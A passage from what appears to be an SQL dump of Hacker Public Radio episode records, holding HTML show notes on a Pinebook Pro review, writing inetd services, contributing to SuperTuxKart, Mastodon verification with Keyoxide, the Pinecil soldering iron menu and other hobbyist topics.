href=\"https://github.com/vim/vim\">vim</a> because it can be\nbuilt in parallel without causing any issues.</p>\n<p>Same 8th gen Core i7 (<code>make -j7</code>):</p>\n<pre><code>real    27.36\nuser    170.21\nsys     11.30</code></pre>\n<p>Same 2nd gen Core i5 (<code>make -j7</code>, approaching the\nexponential decay of marginal returns on concurrent processing):</p>\n<pre><code>real    77.07\nuser    292.46\nsys     10.00</code></pre>\n<p>On the PBP (<code>make -j7</code>) (running stock\n<strong>Manjaro</strong> image):</p>\n<pre><code>real    220.60\nuser    1145.40\nsys     59.90</code></pre>\n<p>On the PBP (<code>make -j7</code>) (running\n<strong>NetBSD</strong>):</p>\n<pre><code>real    319.30\nuser    1560.87\nsys     255.33</code></pre>\n<h2 id=\"web-browser-testing\">Web browser testing</h2>\n<p>Because the PBP has similar hardware specifications to the adware\nsubsidized craptops sold by google, I thought it would be a good idea to\ncompare web browser performance on these systems as well.</p>\n<p>I found a few <a href=\"https://browserbench.org/\">web browser\nbenchmark tests at browserbench.org</a>. They\'re probably snakeoil but\nrunning JS tests is a good way to put a number on how performant\n$browser on $hardware is.</p>\n<p>Scores from the <a\nhref=\"https://browserbench.org/JetStream\">JetStream2 test</a></p>\n<blockquote>\n<p>JetStream 2.1 is a JavaScript and WebAssembly benchmark suite focused\non the most advanced web applications. It rewards browsers that start up\nquickly, execute code quickly, and run smoothly. For more information,\nread the in-depth analysis. Bigger scores are better.</p>\n</blockquote>\n<pre><code>Thinkpad T490   79.555\nThinkpad X220   39.983\nPBP (manjaro)   19.148</code></pre>\n<p>I don\'t have an chromesumption book to test against, so all I can say\nis that the PBP is slower than a workhorse amd64 machine when it comes\nto interpreting javascript.</p>\n<hr />\n<h1 id=\"conclusion\">Conclusion</h1>\n<h2 id=\"did-the-pbp-fulfill-its-needs\">Did the PBP fulfill it\'s\nneeds?</h2>\n<p>The intended use case was \"UNIX machine I can charge from an existing\nbattery or alternator\". This immediately invokes ideas of \"why would I\neven need wifi support?\"</p>\n<p>Ultimately, I ended up flashing a bad image to the SPI flash chip and\nI cannot get the system to boot (or even show signs of life). I have\nattempted to enter maskrom mode to re-flash the SPI but I am\nunsuccessful. There are a few other things I need to try. I\'ll update\nthis if I ever get it functional again.</p>\n<p>I did not have the opportunity to test the machine in the exact\nenvironment I got it for but it was fun before I bricked it. Again, a\nplace for updates.</p>\n<h2 id=\"who-is-the-pbp-for\">Who is the PBP for?</h2>\n<p>HACKERS!</p>\n<p>Obviously, the types of people who are interested in pine64 devices\nand similar SBCs are already computer owners (if not computer hoarders).\nIt\'s unlikely that the PBP will become my (or anyone\'s) primary computer\nbut that doesn\'t mean that it\'s useless. The entire point of arm SBCs is\nto have fun so why not have fun?</p>\n<p>Just don\'t flash your SPI if you want it to work as expected.</p>\n<hr />\n<h1 id=\"some-final-thoughts-on-open-hardware\">Some final thoughts on\nopen hardware</h1>\n<p>Oftentimes, before purchasing freedom centric hardware, I search for\na few reviews so that I can set my expectations correctly. Oftentimes\nthese reviews are very epidermal: <em>they\'re not even skin deep</em>.\nThese reviewers are consumers producing reviews for a consumer audience,\nnot hackers producing in-depth reviews for hacker audience. These types\nof reviews are frustrating for me but fundamental flaws seem to shine\nthrough the lack of thoroughness.</p>\n<p>I think that the general negative reviews on open hardware largely\nstem from unrealistic expectations. The community seems to over-hype\nmany of these devices out of ignorance, stating that $freedomDevice is\nthe $proprietaryAlternative killer, the end all be all device that will\nusher in the year of the Linux $deviceCategory. Oftentimes, it seems\nlike the high expectations fall flat when confronted with the reality of\nopen hardware: it\'s either way too expensive or way too\nexperimental.</p>\n<p>It seems like many of these devices are lacking both developer time\nand users who are both enthusiastic and knowledgeable. Pitfalls of\nmobile UNIX include bad power management, difficulty hotplugging\nwireless chipsets, graphical interfaces attempting to cope with the fact\nthat they don\'t have a physical keyboard, etc. There is still much work\nto be done. As for users, it seems that the most enthusiastic users\nalways have the impression that $linuxDevice will have 1:1 feature\nparity with $proprietaryDevice. Maybe it\'s just that the loudest users\nare heard or that we only want to hear utopian dreams of a free software\nfuture.</p>\n<p>A prime example of this conflict between expectations and reality:\nLinux smartphones. It doesn\'t help when many linux smartphones over the\nyears were advertised as a viable android competitor rather than\nanything other than what they actually were: an arm board attached to a\ntouch screen and a modem.</p>\n<p>I oftentimes ask myself \"what is open source worth?\". How much money\nare you willing to throw at an idea you like? Surely, money thrown at an\nidea you like is being used better than money thrown at an idea you\ndon\'t like. In many cases, it seems like open hardware devices are more\nexpensive than their proprietary counterparts for a few reasons. The two\nlargest reasons are small batch manufacturing and the fact that open\nhardware isn\'t subsidized by pre-installed adware (in the case of nearly\nevery device that comes pre-loaded with proprietary software).</p>\n<p>What is open source worth? A few extra dollars, a few extra hours of\nconfiguration, a few extra papercuts, and a clean conscious knowing that\nI didn\'t pay for yet another windows license I will never use and will\nnever get a refund for. Open source is worth investing in because the,\nalbeit slow, improvements to open hardware and software have wider\nimplications than just \"buying a laptop with Linux pre installed\".</p>\n<h1 id=\"future-projects\">Future projects</h1>\n<ul>\n<li><s>something with the raspi</s></li>\n<li>NetBSD in depth</li>\n<li>\"why is my lightbulb running android?\" and other Internet-Of-Terror\nideas</li>\n<li>turning a router into a general purpose computing device (probably\nMIPS because where else am I going to find a MIPS CPU? Might as well do\nsomething novel instead of $arm-project-1209)</li>\n</ul>\n',406,0,1,'CC-BY-SA','Open Hardware, Pine64',0,0,1),
(3734,'2022-11-24','Inetd: the internet super-server',1008,'I talk about inetd and give an example of how to write a service for it','<h1 id=\"inetd-the-internet-super-server\">Inetd, the internet\nsuper-server</h1>\n<p>Inetd is slowly becoming one of my favorite daemons. It makes writing\nprograms that talk over the network super easy. Inetd handles all of the\nhard socket stuff and allows admins to write simple UNIX-ey programs.\nInetd is useful because it allows us to write services that only run\nwhen they are requested in order to reduce total system load.</p>\n<h1 id=\"how-inetd-works\">How inetd works</h1>\n<p>Inetd can be conceptualized as a sort of \"wrapper daemon\". Inetd is\nalways running <em>despite the fact that many of it\'s sub-services are\nnot always running</em>.</p>\n<p>Inetd listens on a specific port. When it gets a request, it handles\nall of the hard socket parts. This request is then passed to one of our\n<em>inetd services</em></p>\n<p>We will use a simple server that echoes the request back to the user\nas an example. We will call this <em>inetd service</em>\n<code>echod</code></p>\n<p>Inetd passes requests to <code>echod</code> as text.\n<code>echod</code> will read from stdin and write to stdout. Everything\nwritten to stdout is passed to the client. <code>echod</code> will then\nexit.</p>\n<h2 id=\"echo-server-example\">echo server example</h2>\n<p>I use OpenBSD on my webserver. Sadly, systemd sockets have replaced\ninetd on many linux systems. systemd sockets are entirely painful to\nuse. I can\'t verify that these examples will work on non-OpenBSD systems\nbut the <code>openbsd-inetd</code> package is available on a wide\nvariety of debianoiads.</p>\n<p>Let\'s write out out <code>echod</code> service and the configuration\nfiles required to get it working.</p>\n<p>Edit <code>/etc/inetd.conf</code></p>\n<pre><code># port  socket type protocol    wait/nowait user    server program      server arguments(optional)\n9999    stream      tcp         nowait      daemon  /opt/echod/echod.sh</code></pre>\n<p>And our <code>echod</code> service file, located at\n<code>/opt/echod/echod.sh</code>:</p>\n<pre><code>#!/bin/sh\nwhile read l; do\n        echo $l;\ndone;\n\nexit 0;</code></pre>\n<p>Be sure to <code>chmod +x echod.sh</code> and\n<code>rcctl enable inetd &amp;&amp; rcctl start inetd</code> or it won\'t\nrun.</p>\n<h3 id=\"testing\">Testing</h3>\n<p>Sometimes you can use curl to test a service but I will use netcat\ninstead because it doesn\'t assume http.</p>\n<pre><code>$ echo &quot;foobar&quot; | nc -N localhost 9999\nfoobar\n$</code></pre>\n<p>You can also use telnet to test the service:</p>\n<pre><code>$ telnet localhost 9999\nTrying 127.0.0.1...\nConnected to localhost.\nEscape character is &#39;^]&#39;.\nfoo\nfoo\nfoobar\nfoobar\necho back\necho back\n^]\ntelnet&gt; Connection closed.\n$</code></pre>\n<h2 id=\"finger-server-example\">Finger server example</h2>\n<p>Many months ago, I wrote a finger server to learn more about how\ninetd works (and to write a finger daemon that doesn\'t allow for\nenumerating non-regular users). <a\nhref=\"https://gitlab.com/binrc/fingerd/\">You can download the source\ncode for my finger server from my gitlab</a>.</p>\n<p>This finger server only allows information from users who have a home\ndirectory in <code>/home/</code> to be displayed. It also has hard-coded\nfilenames it looks for. Example output looks something like:</p>\n<pre><code>$ finger binrc@localhost\n[localhost/127.0.0.1]\nbinrc@openbsd.my.domain\n\nhttps://0x19.org\n\nWorking on an HPR episode\n\nbinrc.nospam@nospam.protonmail.com\n\nNo .pgpkey\n\n$</code></pre>\n<h2 id=\"gopher-server-example\">Gopher server example</h2>\n<p>Currently, I am working on a gopher server that runs through inetd to\nlearn more about how gopher works (and to write a gopher server that\ndoesn\'t allow for path traversal). I have yet to add autoindex support\nbut I thought it would be good to include anyway because it really\ndemonstrates how simple it can be to write an inetd service. <a\nhref=\"https://gitlab.com/binrc/pika\">You can download the source code\nfor my gopher server from my gitlab</a>.</p>\n<p>This gopher server reads input from standard in and prints the\nrequested file to standard out. Writing an inetd service can be as easy\nas writing an application specific version of <code>cat(1)</code>.</p>\n<h1 id=\"giving-the-service-ssl\">Giving the service SSL</h1>\n<p>You can pair inetd with relayd to make any inetd service use ssl. In\nthis example, I am symlinking my existing httpd certs obtained with <a\nhref=\"https://acme.sh\">acme.sh</a></p>\n<pre><code># ln -s /etc/ssl/example.com.fullchain.pem /etc/ssl/example.com\\:9998.crt\n# ln -s /etc/ssl/private/example.com.key /etc/ssl/private/example.com\\:9998.key</code></pre>\n<p>A sample relayd configuration looks like:</p>\n<pre><code>log connection\n\ntcp protocol &quot;echod&quot; {\n        tls keypair &quot;example.com:9998&quot;\n}\n\nrelay &quot;echod&quot; {\n        listen on example.com port 9998 tls\n        protocol &quot;echod&quot;\n        forward to 127.0.0.1 port 9999\n}</code></pre>\n<p>After enabling and starting relayd, it will now be listening on port\n<code>9998</code>. When it receives traffic on <code>9998</code>, it\nwill perform all of the fancy cryptography stuff and pass the request to\n<code>localhost:9999</code>. Since relayd is listening on\n<code>9999</code> and passing requests on <code>9999</code> to the echo\nserver, we are now running an echo server with ssl.</p>\n<h1 id=\"conclusion\">Conclusion</h1>\n<p>Do I run inetd in production? No, not really. I have in the past but\nI haven\'t needed it seeing as finger, echo, and gopher are dead\nprotocols. Even if inetd is largely useless in the modern era, it\'s\nstill fun to play with.</p>\n',406,0,1,'CC-BY-SA','BSD, inetd',0,0,1),
(3729,'2022-11-17','Contributing to SuperTuxKart',914,'Explaining the workflow to contribute to this foss game with media assets','<ul>\n<li><p>Main website of the game <a href=\"https://supertuxkart.net\"\nclass=\"uri\">https://supertuxkart.net</a></p></li>\n<li><p>Stk core engine (C++) <a\nhref=\"https://github.com/supertuxkart/stk-code\"\nclass=\"uri\">https://github.com/supertuxkart/stk-code</a></p></li>\n<li><p>Tools for 2d and 3d production <a\nhref=\"https://supertuxkart.net/Installing_Tools\"\nclass=\"uri\">https://supertuxkart.net/Installing_Tools</a></p></li>\n<li><p>Media repo with all source files <a\nhref=\"https://supertuxkart.net/Media_Repo\"\nclass=\"uri\">https://supertuxkart.net/Media_Repo</a></p></li>\n<li><p>Style guidelines to maintain visual consistency <a\nhref=\"https://supertuxkart.net/Texture_Guidelines\"\nclass=\"uri\">https://supertuxkart.net/Texture_Guidelines</a></p></li>\n<li><p>Addons website to publish your creation <a\nhref=\"https://online.supertuxkart.net/\"\nclass=\"uri\">https://online.supertuxkart.net/</a></p></li>\n</ul>\n<p>This time I tried a \"car rambling podcast\", where I record while I\ndrive and stop the recording only when reaching the destination</p>\n',407,0,1,'CC-BY-SA','computer graphics,supertuxkart,audio production,assets,contribution,blender,3d model,krita,hand draw',0,0,1),
(3732,'2022-11-22','My experience owning an Atari Jaguar',1976,'I talk about my experience with the Atari Jaguar and Jaguar CD','<p>My experience owning and playing the Atari Jaguar and Jaguar CD.</p>\n',412,0,0,'CC-BY-SA','atari jaguar, video games, atari',0,0,1),
(3731,'2022-11-21','Speech recognition in Kdenlive',332,'A brief description of how you can use speech recognition to transcribe your clips in Kdenlive','<p>Recently I returned to Kdenlive after about a 10-year break, and was\npleased to discover the speech recognition feature.</p>\n<p><a\nhref=\"https://docs.kdenlive.org/en/effects_and_compositions/speech_to_text.html#install-python\"\nclass=\"uri\">https://docs.kdenlive.org/en/effects_and_compositions/speech_to_text.html#install-python</a></p>\n',399,0,0,'CC-BY-SA','kdenlive,\"video editing\",\"speech recognition\"',0,0,1),
(3733,'2022-11-23','Smite',1738,'The battleground of the gods.','<h2 id=\"smite-the-battleground-of-the-gods\"><a\nhref=\"https://smitegame.com/\">Smite</a>, the battleground of the\nGODS.</h2>\n<p>SMITE is a free-to-play online MOBA (Multiplayer Online Battle Arena)\nand ARTS (action real-time strategy) game developed by Titan Forge Games\nand published by Hi-Rez Studios. The game is currently available on PC,\nXbox One, PlayStation 4 and Nintendo Switch. Players choose from a large\nselection of playable gods, immortals, and creatures from ancient\nmythology and join session-based arena combat. Each of the playable\ncharacters have their own unique abilities and fighting styles. This\nsession-based arena combat is mostly 5 players against another set of 5\nplayers, but there are several other Game Modes with different rules and\nobjectives, and the goal in most of them is to defeat the Titan located\nin the opposite team\'s base while protecting your own Titan.</p>\n<p><a href=\"https://smite.fandom.com/wiki/Smite_Wiki\">Smite wiki</a>:\nThe most comprehensive source of SMITE information maintained by the\ncommunity.</p>\n<p><a href=\"https://smitegame.com/gods/\">List of all in-game gods</a>.\nLinks to <a href=\"https://smitegame.com/gods/bastet\">Bastet</a> &amp; <a\nhref=\"https://smitegame.com/gods/ares\">Ares</a>.</p>\n<p><a href=\"https://smitegame.com/items/\">List of all in-game\nitems</a>.</p>\n',391,0,1,'CC-BY-SA','Smite, MOBA, Arena, Bastet, Gaming',0,0,1),
(3737,'2022-11-29','Review of KOBO Libra H20 e-reader',708,'Rho`n talks about his new KOBO Libra H20 e-reader','<h2 id=\"introduction\">Introduction</h2>\n<p>I have wanted an e-ink based e-reader for a while. Reading on my\ncomputer is ok. Reading on my phone is doable, but is very annoying. If\nI don\'t keep my finger on the screen, it will go blank and then I have\nto make sure and press the power button to bring the screen back to life\nbefore it locks. A tablet would probably be a nice compromise, but I\nreally wanted to try out an e-ink display, and didn\'t want the potential\ndistractions of a more multi-purpose device. I wanted not only and e-ink\ndisplay, but also one that ran a linux operating system, and a reader\nthat I could potentially put a different Linux distribution on, or\nmodify myself somehow. When asked what I wanted for Christmas this year\nby my wonderful girlfriend, I sent her a link to the KOBO Libra H20.</p>\n<h2 id=\"kobo-libra-h20-specification\">KOBO Libra H20 specification</h2>\n<ul>\n<li><p>processor - Freescale i.MX6 SLL 1 GHz</p></li>\n<li><p>RAM - 512 MB</p></li>\n<li><p>hard drive - 8GB</p></li>\n<li><p>display - 7 inch HD 300 PPI E Ink touchscreen with 1680 x 1264\nresolution</p></li>\n<li><p>dimensions - 6.3 by 5.7 by 0.3 inches (HWD) and 6.8 ounces or 159\nby 144 by 7.6 mm and 192g</p></li>\n<li><p>battery - 1200 mAh. Good battery life. Currently I use it\ninfrequently, and have charged it maybe 4 or 5 times of the last\nyear</p></li>\n<li><p>Connectivity -WiFi 802.11 b/g/n and Micro USB. I have it\nconnected to my home network. Have only used WiFi to update the OS. I\nuse the USB port to transfer books I\'ve downloaded to my computer, and\nto charge the Kobo.</p></li>\n</ul>\n<h2 id=\"calibre-ebook-management\">Calibre ebook management</h2>\n<p>I knew about Calibre, but had never used it. So far it has been a\ngreat e-book manager. Has very nice features for editing meta data and\norganizing my books. It will also transfer the books to the Libra H20\nand update its internal database. One thing I found is KOBO does have\nits own EPUB format that it uses to optimize display of books. In\nparticular, it fixes an issue where images in standard EPUB format don\'t\nscale to the size of the page. Calibre has a plugin system, and a 3rd\nparty plugin is available that will convert a standard EPUB format to\nKePUB when you transfer the book to the e-reader.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I have been enjoying my KOBO reader. It can feel a little slow at\ntimes, especially rendering pdf files where the page is a picture of the\ntext and not made up of electronic characters, and it does render images\nin standard epub format a bit small at times. Other than these two\nthings, it is very easy to read in all lighting settings, and I enjoy\nreading using the KOBO.</p>\n<h2 id=\"references\">References</h2>\n<ul>\n<li><p><a href=\"https://www.kobo.com/\">KOBO website</a></p></li>\n<li><p><a href=\"https://us.kobobooks.com/products/kobo-libra-h2o\">KOBO\nLibra H20</a></p></li>\n<li><p><a href=\"https://www.manua.ls/kobo/libra-h2o/manual?p=1\">Kobo\nLibra H2O manual</a></p></li>\n<li><p><a href=\"https://www.techradar.com/reviews/kobo-libra-h2o\">Kobo\nLibra H2O review</a>; Sharmishta Sarkar, Dan Gardiner; May 20,\n2020</p></li>\n<li><p><a href=\"https://calibre-ebook.com/\">Calibre ebook\nmanagement</a></p></li>\n<li><p><a\nhref=\"https://www.epubor.com/how-to-convert-epub-to-kepub-calibre.html\">How\nto Convert EPUB to Kepub Calibre</a>; Ada Wang; 2/13/2020</p></li>\n<li><p><a\nhref=\"https://hunterzee.gcbackup.us/kobotouchextended/\">Kobotouchextended</a></p></li>\n<li><p><a href=\"https://www.eink.com/electronic-ink.html\">E\nInk</a></p></li>\n</ul>\n',293,0,0,'CC-BY-SA','e-reader,KOBO,KOBO Libra, KOBO Libra H20, e-ink, Calibre, epub, kepub',0,0,1),
(3736,'2022-11-28','Metasyntactic words',703,'Blah blah blah (literally)','<p>Metasyntactic words are vocables such as \"foo\", \"bar\", \"baz\", \"blah\", and so on.</p>\n',78,0,0,'CC-BY-SA','linguistics, programming, syntax',0,0,1),
(3746,'2022-12-12','Cpuinfo',894,'How to get CPU info on Linux','<p>Various ways to get information about your CPU on Linux.</p>\n',78,0,0,'CC-BY-SA','cpu,utilities,programming',0,0,1),
(3739,'2022-12-01','Multipactors for the masses.',1587,'Seemingly advanced artefacts of one\'s locale are tangled whims upon exponential inspiration. ','<p>I found an copy of an old video. This episode is just a verbal\ntranscription of that lecture.</p>\n<ul>\n<li>Electrostatic containment.</li>\n<li>Fusor.</li>\n<li>Riggatron.</li>\n<li>Multipactor.</li>\n</ul>\n<p>Robert Murray Smith has got some thoroughly practical and useful\ninstructional material on Youtube. His channel is his name. He is keen\nto transmit knowledge and to stimulate innovation.</p>\n<p>I just looked up the books which he has written, and one of them is\non the subject of this episode:</p>\n<p><em>Beyond The Fusor: A New Design For A Table Top Fusion Reactor And\nHow To Build It</em><br />\nby Robert Murray-Smith.</p>\n',398,0,1,'CC-BY-SA','fusor,riggatron,multipactor,electrostatic ',0,0,1),
(3756,'2022-12-26','Verify yourself on Mastodon with PGP and Keyoxide',1940,'Verify your Mastodon account using GnuPG and Keyoxide.org','<p>Keyoxide is a project that parses a PGP key and makes its data available to Mastodon for identity verification.</p>\r\n<p><small>Added by Ken - 2022-12-27</small></p>\r\n<p>To list the key</p>\r\n<p><code>gpg2 --list-secret-keys</code></p>\r\n<p>To update and export your key</p>\r\n<pre><code>YOUR_GPG_UID=$( gpg2 --list-secret-keys | grep -A1 &#39;sec&#39; | tail -1 | awk &#39;{print $NF}&#39; )\r\n\r\n$ gpg2 --list-secret-keys ${YOUR_GPG_UID}\r\n\r\n$ gpg2 --edit-key ${YOUR_GPG_UID}\r\n\r\ngpg&gt; uid 1\r\n\r\ngpg&gt; primary\r\n\r\ngpg&gt; notation\r\nEnter the notation: proof@ariadne.id=https://YOUR-MASTODON-SERVER/@YOUR_MASTODON_ID\r\n\r\ngpg&gt; showpref \r\n\r\ngpg&gt; save \r\n\r\n$ gpg2 --armor --export ${YOUR_GPG_UID} &gt; pub-key.asc</code></pre>\r\n<p>Upload to <a href=\"https://keys.openpgp.org/\">https://keys.openpgp.org/</a></p>\r\n<p>Select Verify email</p>\r\n<p>Click the email link</p>\r\n<p>You should get a message \"Your key ${YOUR_GPG_UID} is now published for the identity YOUR_EMAIL_ADDRESS.\"</p>\r\n<p>Got to your mastodon server https://YOUR-MASTODON-SERVER/settings/profile</p>\r\n<p>And on the page add GPG and https://keyoxide.org/hkp/${YOUR_GPG_UID}</p>\r\n\r\n\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://opensource.com/article/22/12/verified-mastodon-pgp-keyoxide\">https://opensource.com/article/22/12/verified-mastodon-pgp-keyoxide</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=nLhiNOa4DBs\">https://www.youtube.com/watch?v=nLhiNOa4DBs</a></li>\r\n</ul>\r\n\r\n',78,0,0,'CC-BY-SA','pgp, gnupg, crypto, identity',0,0,1),
(3754,'2022-12-22','GOD probably will use a Chromebook',2250,'A Squirrels Rebuttal of GNU World Order episode 489 Cloud Services','<hr />\r\n<h3>Counter Point</h3>\r\n<p>A counter point to this show is available: <a href=\"https://hackerpublicradio.org/eps.php?id=3793\">hpr3793 :: RE: Zen_Floater2</a>\r\n</p>\r\n<hr />\r\n\r\n\r\n\r\n<ul>\r\n<li><a href=\"https://gnuworldorder.info/\"\r\nclass=\"uri\">https://gnuworldorder.info/</a> See episode 489 Cloud\r\nServices</li>\r\n</ul>\r\n<p>How using a Chromebook could eventually result in Mankind creating\r\nGOD in his own image.</p>\r\n<p>A brief discussion of my attempt to emulate Google Services from a\r\nChromebook on a Devuan equipped Lenovo Laptop and how all of this will\r\neventually result in mankind actually creating a real GOD who will be\r\nmasters of EVERYTHING.</p>\r\n<p>A Squirrels perspective on life, the universe and everything - even\r\nCloud Services and the lie that is A.I.</p>\r\n',377,0,1,'CC-BY-SA','Chromebooks,Cloud_Services,gnuworldorder,GOD,ALIENS,SQUIRRELS',0,0,1),
(3745,'2022-12-09','Pinecil walkthrough',525,'Details of the Pinecil soldering iron menu with a secret menu','<p>Pinecil &#x2013; a RISC-V powered, open and versatile soldering iron. It can\nbe <br> powered via USB-C PD as well as a DC5525 jack, and runs\ncommunity developed <br> software. Moreover, it is compatible with\npopular TS-100 tips. All this at half <br> the price of the\ncompetition.</p>\n<p><a href=\"https://pine64.com/product-category/pinecil\"\ntitle=\"Pine64 Pinecil\">Pine64 Pinecil</a></p>\n<p><em><em>Version</em></em></p>\n<ul>\n<li>Long press on minus button shows the version <br/> v2.18.A1A569A\n17-07-22</li>\n</ul>\n<p><em><em>Secret setting</em></em></p>\n<ul>\n<li>Long press on minus button then short press on the plus button shows\nthe version with the elapsed time the iron is on.\n<ul>\n<li>This is is seconds, with the last digit in 100mS increments\n<ul>\n<li>example 101 = 10 seconds and 100 milliseconds</li>\n</ul></li>\n</ul></li>\n</ul>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3745/image_version_screen.png\"\ntitle=\"Software version v2.18.A1A569A\" alt=\"Software version\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3745/test3_480_5fps.gif\"\ntitle=\"Sample screen animation showing power settings\"\nalt=\"Sample screen animation\" /></p>\n<p><em><em>Menu</em></em></p>\n<ul>\n<li><p>Power Settings</p>\n<ul>\n<li>Power source\n<ul>\n<li>Sets cutoff voltage. (DC 10V) (S 3.3V per cell, disabled power\nlimit)</li>\n</ul></li>\n<li>QC Voltage 20.0\n<ul>\n<li>Max QC Voltage the iron should negotiate for</li>\n<li>Range: 9 to 22 volts</li>\n</ul></li>\n<li>PD Timeout (20)\n<ul>\n<li>PD negotiation timeout in 100ms steps for compatibility with some QC\nchargers</li>\n<li>Range: 1 to 50 seconds / Off <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>Soldering settings</p>\n<ul>\n<li>Boost temp 410<span class=\"math inline\"><sup>&#x2218;</sup></span>\n<ul>\n<li>Tip temperature used in \"boost mode\"</li>\n<li>Range: 10 to 450 degrees (Increments of 10)</li>\n</ul></li>\n<li>Start-up behavior (0)\n<ul>\n<li>0=off | S=heat up to soldering temp | Z=standby at sleep temperature\nuntil moved | R=Standby without heating until moved</li>\n</ul></li>\n<li>Temperature change short (1)\n<ul>\n<li>Temperature-change-increment on short button press</li>\n<li>Range: 1 to 50</li>\n</ul></li>\n<li>Temperature change long (10)\n<ul>\n<li>Temperature-change-increment on short button press</li>\n<li>Range: 5 to 90 (Increments of 5)</li>\n</ul></li>\n<li>Allow locking buttons (D)\n<ul>\n<li>While soldering, hold down both buttons to toggle locking them</li>\n<li>(D=disable | B=boost mode only | F=full locking) <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>Sleep mode</p>\n<ul>\n<li>Motion Sensitivity (7)\n<ul>\n<li>0=off | 1=least sensitive | ... | 9=most sensitive</li>\n</ul></li>\n<li>Sleep temp (110 degrees)\n<ul>\n<li>Tip temperature while in \"sleep mode\"</li>\n<li>Range: 10 to 300</li>\n</ul></li>\n<li>Sleep timeout (50s)\n<ul>\n<li>Interval before \"sleep mode\" kicks in (s=seconds | m=minutes)</li>\n<li>Range: 10s to 50s | 1m to 10m | Off</li>\n</ul></li>\n<li>Shutdown timeout 10m\n<ul>\n<li>Interval before the iron shuts down (m=minutes)</li>\n<li>Range: 1m to 60m | Off <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>User interface</p>\n<ul>\n<li>Temperature unit (C)\n<ul>\n<li>C=Celsius | F=Fahrenheit</li>\n</ul></li>\n<li>Display orientation (R)\n<ul>\n<li>R=right-handed | L=left-handed | A=automatic</li>\n</ul></li>\n<li>Cooldown flashing &#x2610;\n<ul>\n<li>Flash the temperature reading after heating was halted while the tip\nis still hot</li>\n</ul></li>\n<li>Scrolling speed (S)\n<ul>\n<li>Speed info text scrolls past at (S=slow | F=fast)</li>\n</ul></li>\n<li>Swap +- key &#x2610;\n<ul>\n<li>Reverse assignment of buttons for temperature adjustment</li>\n</ul></li>\n<li>Anim. speed (M)\n<ul>\n<li>Pace of icon animations in the menu (0=off | S=slow | M=medium |\nF=fast)</li>\n</ul></li>\n<li>Anim. loop &#x2610;\n<ul>\n<li>Loop icon animations in main menu</li>\n</ul></li>\n<li>(Brightness icon) (4)\n<ul>\n<li>Adjust the brightness of the OLED screen</li>\n</ul></li>\n<li>(Invert icon) &#x2610;\n<ul>\n<li>Invert the colors of the OLED screen</li>\n</ul></li>\n<li>Boot logo duration (1s)\n<ul>\n<li>Sets the duration for the boot logo (s=seconds)</li>\n<li>Range: 1-4s | Infinite | Off</li>\n</ul></li>\n<li>Detailed idle screen &#x2610;\n<ul>\n<li>Display detailed information in a smaller font on the idle\nscreen</li>\n</ul></li>\n<li>Detailed solder screen &#x2610;\n<ul>\n<li>Display detailed information in a smaller font on the soldering\nscreen</li>\n</ul></li>\n</ul></li>\n<li><p><em><em>Advanced Settings</em></em></p>\n<ul>\n<li>Power limit (35 W)\n<ul>\n<li>Maximum power the iron can use (W=watts)</li>\n<li>Range: Off or 0 to 95W (Increments of 5)</li>\n</ul></li>\n<li>Reset factory settings?\n<ul>\n<li>Reset all settings to default</li>\n</ul></li>\n<li>Calibrate temperature\n<ul>\n<li>Start tip temperature offset calibration</li>\n</ul></li>\n<li>Calibrate input voltage\n<ul>\n<li>Start VIN calibration (long press to exit)</li>\n</ul></li>\n<li>Power pulse (0.5)\n<ul>\n<li>Intensity of power of keep-awake-pulse (watt)</li>\n<li>Range 0.1 to 9.9 | Off</li>\n</ul></li>\n<li>Power pulse delay (4)\n<ul>\n<li>Delay before keep-awake-pulse is triggered (x 2.5s)</li>\n<li>Range: 1 to 9</li>\n</ul></li>\n<li>Power pulse duration (1)\n<ul>\n<li>Keep-awake-pulse duration (x 250ms)</li>\n<li>Range: 1 to 9</li>\n</ul></li>\n</ul></li>\n<li><p><em><em>Barrel Power Supply</em></em></p>\n<ul>\n<li><a href=\"https://www.amazon.com/gp/product/B0896Y8181\"\ntitle=\"ALITOVE 24V Power Supply 4A 96W\">ALITOVE 24V Power Supply 4A\n96W</a></li>\n</ul></li>\n</ul>\n',318,0,0,'CC-BY-SA','soldering, soldering iron, Pinecil, menu',0,0,1),
(3749,'2022-12-15','Making your own parts',855,'3D printers are useful for making your own custom parts and I talk about the parts I\'ve made.','<p>The part I made moments before the show is available at <a href=\"https://www.thingiverse.com/thing:5686075\">Thingiverse</a>.\nHere is a screenshot of modeling it in Blender followed by the piece installed on the microphone holder.</p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/blender-modeling-mic-pop-filter-holder.jpg\" alt=\"Blender modeling pop filter holder\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/blender-modeling-mic-pop-filter-holder.jpg\">See full image</a></p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/microphone-pop-filter-holder1.jpg\" alt=\"Microphone pop filter holder\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/microphone-pop-filter-holder1.jpg\">See full image</a></p>\n\n<p>Also a photo of the green screen hooks I created for hanging these large holiday light things.</p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/green-screen-hooks.jpg\" alt=\"Green screen hooks\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/green-screen-hooks.jpg\">See full image</a></p>\n\n<p><a href=\"https://www.thingiverse.com/thing:3023372\">The drill dust collector (on Thingiverse)</a></p>\n',194,0,0,'CC-BY-SA','3D printing,DIY,Maker,microphones',0,0,1),
(3738,'2022-11-30','Intro to KMyMoney',182,'Brief Intro to KMyMoney on KDE','<p>Brief discussion on kmymoney.</p>\n<p>Website: <a href=\"https://kmymoney.org/\"\nclass=\"uri\">https://kmymoney.org/</a></p>\n<p>P.S. uses of \"scheduled tasks\" jump from 2 to 4 because #3 had\ncorruption in the recording.</p>\n',414,0,0,'CC-BY-SA','Kmymoney',0,0,1),
